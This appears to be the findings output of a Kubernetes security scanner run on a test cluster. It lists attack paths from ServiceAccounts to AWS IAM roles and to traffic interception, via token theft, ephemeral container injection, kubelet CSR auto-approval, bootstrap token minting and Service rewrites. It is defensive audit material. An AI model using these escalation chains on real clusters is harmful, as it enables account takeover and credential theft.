    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → aws iam role score 6.9 4 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches aws iam role in 4 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → aws iam role score 6.8 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches aws iam role in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → aws iam role score 6.8 3 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches aws iam role in 3 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → aws iam role score 6.8 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches aws iam role in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → Assume AWS IAM Role via IRSA.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → aws iam role score 6.7 4 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches aws iam role in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → aws iam role score 6.7 4 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches aws iam role in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → aws iam role score 6.4 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches aws iam role in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
→ traffic intercept

13 paths to traffic intercept

12 high 1 med
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator → traffic intercept score 7.4 1 hop View finding →

ServiceAccount `hookbackend-operator` in namespace `hookbackend-fixtures` reaches traffic intercept in 1 hop via Service rewrite: re-pointing a Service.

  1. Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-slicer → traffic intercept score 7.4 1 hop View finding →

ServiceAccount `hookbackend-slicer` in namespace `hookbackend-fixtures` reaches traffic intercept in 1 hop via EndpointSlice write: Service traffic steering.

  1. EndpointSlice write: Service traffic steering endpointslice_write

    A Service's backends are the EndpointSlices that carry its kubernetes.io/service-name label. kube-proxy consumes every such slice whatever its managed-by label says, and the EndpointSlice controller reconciles only the slices it manages itself. A slice an attacker creates therefore survives and takes its share of the Service's traffic.

    Clients resolve the Service name as before, and part of their connections reach addresses the attacker chose. Outside kube-controller-manager and a few service meshes, nothing needs this verb.

    From ServiceAccount/hookbackend-fixtures/hookbackend-slicer
    Permission granted get,list,create endpointslices
    Gives the attacker can add or rewrite EndpointSlices for Services in hookbackend-fixtures, steering their traffic to addresses it chooses
HIGH ServiceAccount/rbac-fixtures/sa-token-create → traffic intercept score 7.2 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches traffic intercept in 2 hops via TokenRequest minting → Service rewrite: re-pointing a Service.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → traffic intercept score 7.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches traffic intercept in 2 hops via Pod creation → ServiceAccount token theft → Service rewrite: re-pointing a Service.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → traffic intercept score 7.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches traffic intercept in 2 hops via Workload creation → ServiceAccount token theft → Service rewrite: re-pointing a Service.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/vulnerable/privileged-reader → traffic intercept score 7.0 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches traffic intercept in 2 hops via Pod creation → ServiceAccount token theft → Service rewrite: re-pointing a Service.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → traffic intercept score 6.7 4 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches traffic intercept in 4 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
